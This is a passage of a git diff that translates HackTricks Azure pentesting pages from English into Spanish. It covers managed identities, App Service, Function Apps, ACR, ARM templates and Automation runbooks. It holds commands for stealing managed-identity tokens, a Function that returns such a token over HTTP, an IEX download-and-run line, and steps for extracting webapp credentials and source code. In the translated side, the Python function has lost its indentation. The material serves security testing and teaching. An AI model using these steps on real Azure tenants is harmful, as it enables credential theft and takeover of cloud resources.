sistema**, y **muchas identidades administradas por el usuario**.\ +Luego, desde el servicio de metadatos es posible generar tokens para cada una. ```bash # Get currently assigned managed identities to the VM az vm identity show \ - --resource-group \ - --name +--resource-group \ +--name # Assign several managed identities to a VM az vm identity assign \ - --resource-group \ - --name \ - --identities \ - /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ - /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 +--resource-group \ +--name \ +--identities \ +/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ +/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 ``` - -Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**: +Luego, el atacante necesita haber **comprometido de alguna manera la VM** para robar tokens de las identidades administradas asignadas. Consulta **más información en**: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm @@ -377,10 +351,6 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs... +Según los [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), este permiso te permite gestionar el SO de tu recurso a través de Windows Admin Center como administrador. Así que parece que esto da acceso al WAC para controlar las VMs... {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index 3a40a9dff..4db7e59fe 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -2,28 +2,27 @@ {{#include ../../../banners/hacktricks-training.md}} -## Portals +## Portales -You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/) +Puedes encontrar la lista de **portales de Microsoft en** [**https://msportals.io/**](https://msportals.io/) -### Raw requests +### Solicitudes en bruto -#### Azure API via Powershell +#### API de Azure a través de Powershell -Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. - -Then query the Azure REST API to get the **subscription ID** and more . +Obtén **access_token** de **IDENTITY_HEADER** y **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. +Luego consulta la API REST de Azure para obtener el **ID de suscripción** y más. ```powershell $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ - Method = 'GET' - Uri = $URI - Headers = @{ - 'Authorization' = "Bearer $Token" - } +Method = 'GET' +Uri = $URI +Headers = @{ +'Authorization' = "Bearer $Token" +} } (Invoke-RestMethod @RequestParams).value @@ -31,9 +30,7 @@ $RequestParams = @{ $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ func.HttpResponse: - logging.info('Python HTTP trigger function processed a request.') - IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] - IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] - cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) - val = os.popen(cmd).read() - return func.HttpResponse(val, status_code=200) +logging.info('Python HTTP trigger function processed a request.') +IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] +IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] +cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) +val = os.popen(cmd).read() +return func.HttpResponse(val, status_code=200) ``` +## Lista de Servicios -## List of Services - -**The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.** +**Las páginas de esta sección están ordenadas por servicio de Azure. Allí podrás encontrar información sobre el servicio (cómo funciona y capacidades) y también cómo enumerar cada servicio.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-acr.md b/src/pentesting-cloud/azure-security/az-services/az-acr.md index 800b03b30..b1fa5c802 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-acr.md +++ b/src/pentesting-cloud/azure-security/az-services/az-acr.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services. +Azure Container Registry (ACR) es un servicio administrado proporcionado por Microsoft Azure para **almacenar y gestionar imágenes de contenedores Docker y otros artefactos**. Ofrece características como herramientas de desarrollo integradas, geo-replicación, medidas de seguridad como control de acceso basado en roles y escaneo de imágenes, compilaciones automatizadas, webhooks y disparadores, y aislamiento de red. Funciona con herramientas populares como Docker CLI y Kubernetes, y se integra bien con otros servicios de Azure. -### Enumerate - -To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1): +### Enumerar +Para enumerar el servicio, podrías usar el script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1): ```bash # List Docker images inside the registry IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1") @@ -18,19 +17,15 @@ Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name " Get-AzACR -username -password -registry .azurecr.io ``` - {{#tabs }} {{#tab name="az cli" }} - ```bash az acr list --output table az acr show --name MyRegistry --resource-group MyResourceGroup ``` - {{#endtab }} {{#tab name="Az Powershell" }} - ```powershell # List all ACRs in your subscription Get-AzContainerRegistry @@ -38,19 +33,12 @@ Get-AzContainerRegistry # Get a specific ACR Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry" ``` - {{#endtab }} {{#endtabs }} -Login & Pull from the registry - +Iniciar sesión y extraer del registro ```bash docker login .azurecr.io --username --password docker pull .azurecr.io/: ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index d18a4d6ee..62fc07e38 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -2,42 +2,41 @@ {{#include ../../../banners/hacktricks-training.md}} -## App Service Basic Information +## Información Básica del Servicio de Aplicaciones -Azure App Services enables developers to **build, deploy, and scale web applications, mobile app backends, and APIs seamlessly**. It supports multiple programming languages and integrates with various Azure tools and services for enhanced functionality and management. +Azure App Services permite a los desarrolladores **crear, implementar y escalar aplicaciones web, backends de aplicaciones móviles y APIs sin problemas**. Soporta múltiples lenguajes de programación e integra diversas herramientas y servicios de Azure para una funcionalidad y gestión mejoradas. -Each app runs inside a sandbox but isolation depends upon App Service plans +Cada aplicación se ejecuta dentro de un sandbox, pero la aislamiento depende de los planes de App Service. -- Apps in Free and Shared tiers run on shared VMs -- Apps in Standard and Premium tiers run on dedicated VMs +- Las aplicaciones en los niveles Gratuito y Compartido se ejecutan en VMs compartidas. +- Las aplicaciones en los niveles Estándar y Premium se ejecutan en VMs dedicadas. > [!WARNING] -> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**. +> Tenga en cuenta que **ninguno** de esos aislamientos **previene** otras **vulnerabilidades web** comunes (como la carga de archivos o inyecciones). Y si se utiliza una **identidad de gestión**, podría ser capaz de **escalar privilegios a ellas**. -### Azure Function Apps +### Aplicaciones de Función de Azure -Basically **Azure Function apps are a subset of Azure App Service** in the web and if you go to the web console and list all the app services or execute `az webapp list` in az cli you will be able to **see the Function apps also listed here**. +Básicamente, **las aplicaciones de Función de Azure son un subconjunto de Azure App Service** en la web y si accede a la consola web y lista todos los servicios de aplicaciones o ejecuta `az webapp list` en az cli, podrá **ver las aplicaciones de Función también listadas aquí**. -Actually some of the **security related features** App services use (`webapp` in the az cli), are **also used by Function apps**. +De hecho, algunas de las **características relacionadas con la seguridad** que utilizan los servicios de aplicaciones (`webapp` en el az cli) **también son utilizadas por las aplicaciones de Función**. -## Basic Authentication +## Autenticación Básica -When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\ -Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers. +Al crear una aplicación web (y una función de Azure generalmente), es posible indicar si desea que se habilite la Autenticación Básica. Esto básicamente **habilita SCM y FTP** para la aplicación, por lo que será posible implementar la aplicación utilizando esas tecnologías.\ +Además, para conectarse a ellas, Azure proporciona una **API que permite obtener el nombre de usuario, la contraseña y la URL** para conectarse a los servidores SCM y FTP. -- Authentication: az webapp auth show --name lol --resource-group lol_group +- Autenticación: az webapp auth show --name lol --resource-group lol_group SSH -Always On +Siempre Activo -Debugging +Depuración -### Enumeration +### Enumeración {{#tabs }} {{#tab name="az" }} - ```bash # List webapps az webapp list @@ -101,15 +100,15 @@ az functionapp show --name --resource-group # Get details about the source of the function code az functionapp deployment source show \ - --name \ - --resource-group +--name \ +--resource-group ## If error like "This is currently not supported." ## Then, this is probalby using a container # Get more info if a container is being used az functionapp config container show \ - --name \ - --resource-group +--name \ +--resource-group # Get settings (and privesc to the sorage account) az functionapp config appsettings list --name --resource-group @@ -125,7 +124,7 @@ az functionapp config access-restriction show --name --resource-group # Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) az rest --method GET \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" # Get source code with Master Key of the function curl "?code=" @@ -135,22 +134,18 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` - {{#endtab }} {{#tab name="Az Powershell" }} - ```powershell # Get App Services and Function Apps Get-AzWebApp # Get only App Services Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} ``` - {{#endtab }} {{#tab name="az get all" }} - ```bash #!/bin/bash @@ -170,21 +165,19 @@ list_app_services=$(az appservice list --query "[].{appServiceName: name, group: # Iterate over each App Service echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do - # Get the type of the App Service - service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) +# Get the type of the App Service +service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) - # Check if it is a Function App and print its name - if [ "$service_type" == "functionapp" ]; then - echo "Function App Name: $appServiceName" - fi +# Check if it is a Function App and print its name +if [ "$service_type" == "functionapp" ]; then +echo "Function App Name: $appServiceName" +fi done ``` - {{#endtab }} {{#endtabs }} -#### Obtain credentials & get access to the webapp code - +#### Obtener credenciales y acceder al código de la aplicación web ```bash # Get connection strings that could contain credentials (with DBs for example) az webapp config connection-string list --name --resource-group @@ -202,17 +195,12 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ## In my case the username was: $nameofthewebapp and the password some random chars ## If you change the code and do a push, the app is automatically redeployed ``` - {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -## References +## Referencias - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index e0cf6a053..ed4a17d62 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -2,25 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) +[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) -Azure Active Directory's Application Proxy provides **secure remote access to on-premises web applications**. After a **single sign-on to Azure AD**, users can access both **cloud** and **on-premises applications** through an **external URL** or an internal application portal. +El Application Proxy de Azure Active Directory proporciona **acceso remoto seguro a aplicaciones web locales**. Después de un **inicio de sesión único en Azure AD**, los usuarios pueden acceder tanto a **aplicaciones en la nube** como a **aplicaciones locales** a través de una **URL externa** o un portal de aplicaciones interno. -It works like this: +Funciona así:
-1. After the user has accessed the application through an endpoint, the user is directed to the **Azure AD sign-in page**. -2. After a **successful sign-in**, Azure AD sends a **token** to the user's client device. -3. The client sends the token to the **Application Proxy service**, which retrieves the user principal name (UPN) and security principal name (SPN) from the token. **Application Proxy then sends the request to the Application Proxy connector**. -4. If you have configured single sign-on, the connector performs any **additional authentication** required on behalf of the user. -5. The connector sends the request to the **on-premises application**. -6. The **response** is sent through the connector and Application Proxy service **to the user**. - -## Enumeration +1. Después de que el usuario haya accedido a la aplicación a través de un punto final, el usuario es dirigido a la **página de inicio de sesión de Azure AD**. +2. Después de un **inicio de sesión exitoso**, Azure AD envía un **token** al dispositivo cliente del usuario. +3. El cliente envía el token al **servicio de Application Proxy**, que recupera el nombre principal del usuario (UPN) y el nombre principal de seguridad (SPN) del token. **Application Proxy luego envía la solicitud al conector de Application Proxy**. +4. Si ha configurado el inicio de sesión único, el conector realiza cualquier **autenticación adicional** requerida en nombre del usuario. +5. El conector envía la solicitud a la **aplicación local**. +6. La **respuesta** se envía a través del conector y el servicio de Application Proxy **al usuario**. +## Enumeración ```powershell # Enumerate applications with application proxy configured Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} @@ -32,13 +31,8 @@ Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Name"} # to find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it Get-ApplicationProxyAssignedUsersAndGroups -ObjectId ``` - -## References +## Referencias - [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index 6fcf24ecc..208db5a11 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) To implement **infrastructure as code for your Azure solutions**, use Azure Resource Manager templates (ARM templates). The template is a JavaScript Object Notation (**JSON**) file that **defines** the **infrastructure** and configuration for your project. The template uses declarative syntax, which lets you state what you intend to deploy without having to write the sequence of programming commands to create it. In the template, you specify the resources to deploy and the properties for those resources. +[De la documentación:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestructura como código para tus soluciones de Azure**, utiliza plantillas de Azure Resource Manager (plantillas ARM). La plantilla es un archivo de Notación de Objetos de JavaScript (**JSON**) que **define** la **infraestructura** y la configuración para tu proyecto. La plantilla utiliza una sintaxis declarativa, que te permite indicar lo que pretendes desplegar sin tener que escribir la secuencia de comandos de programación para crearlo. En la plantilla, especificas los recursos a desplegar y las propiedades de esos recursos. -### History +### Historia -If you can access it, you can have **info about resources** that are not present but might be deployed in the future. Moreover, if a **parameter** containing **sensitive info** was marked as "**String**" **instead** of "**SecureString**", it will be present in **clear-text**. +Si puedes acceder a ello, puedes tener **información sobre recursos** que no están presentes pero que podrían ser desplegados en el futuro. Además, si un **parámetro** que contiene **información sensible** fue marcado como "**String**" **en lugar de** "**SecureString**", estará presente en **texto claro**. -## Search Sensitive Info - -Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**. +## Buscar Información Sensible +Los usuarios con los permisos `Microsoft.Resources/deployments/read` y `Microsoft.Resources/subscriptions/resourceGroups/read` pueden **leer el historial de despliegue**. ```powershell Get-AzResourceGroup Get-AzResourceGroupDeployment -ResourceGroupName @@ -23,13 +22,8 @@ Save-AzResourceGroupDeploymentTemplate -ResourceGroupName -Depl cat .json # search for hardcoded password cat | Select-String password ``` - -## References +## Referencias - [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md index 43e03e664..7f8c2d467 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md @@ -2,54 +2,53 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation delivers a cloud-based automation, operating system updates, and configuration service that supports consistent management across your Azure and non-Azure environments. It includes process automation, configuration management, update management, shared capabilities, and heterogeneous features. +[De la documentación:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation ofrece un servicio de automatización basado en la nube, actualizaciones del sistema operativo y gestión de configuraciones que admite una gestión consistente en sus entornos de Azure y no Azure. Incluye automatización de procesos, gestión de configuraciones, gestión de actualizaciones, capacidades compartidas y características heterogéneas. -These are like "**scheduled tasks**" in Azure that will let you execute things (actions or even scripts) to **manage**, check and configure the **Azure environment**. +Estos son como "**tareas programadas**" en Azure que le permitirán ejecutar cosas (acciones o incluso scripts) para **gestionar**, verificar y configurar el **entorno de Azure**. -### Run As Account +### Cuenta de Ejecución -When **Run as Account** is used, it creates an Azure AD **application** with self-signed certificate, creates a **service principal** and assigns the **Contributor** role for the account in the **current subscription** (a lot of privileges).\ -Microsoft recommends using a **Managed Identity** for Automation Account. +Cuando se utiliza **Run as Account**, crea una **aplicación** de Azure AD con un certificado autofirmado, crea un **principal de servicio** y asigna el rol de **Contribuyente** para la cuenta en la **suscripción actual** (muchos privilegios).\ +Microsoft recomienda usar una **Identidad Administrada** para la Cuenta de Automatización. > [!WARNING] -> This will be **removed on September 30, 2023 and changed for Managed Identities.** +> Esto será **eliminado el 30 de septiembre de 2023 y cambiado por Identidades Administradas.** -## Runbooks & Jobs +## Runbooks y Trabajos -**Runbooks** allow you to **execute arbitrary PowerShell** code. This could be **abused by an attacker** to steal the permissions of the **attached principal** (if any).\ -In the **code** of **Runbooks** you could also find **sensitive info** (such as creds). +Los **Runbooks** le permiten **ejecutar código PowerShell arbitrario**. Esto podría ser **abusado por un atacante** para robar los permisos del **principal adjunto** (si lo hay).\ +En el **código** de los **Runbooks** también podría encontrar **información sensible** (como credenciales). -If you can **read** the **jobs**, do it as they **contain** the **output** of the run (potential **sensitive info**). +Si puede **leer** los **trabajos**, hágalo ya que **contienen** la **salida** de la ejecución (potencial **información sensible**). -Go to `Automation Accounts` --> `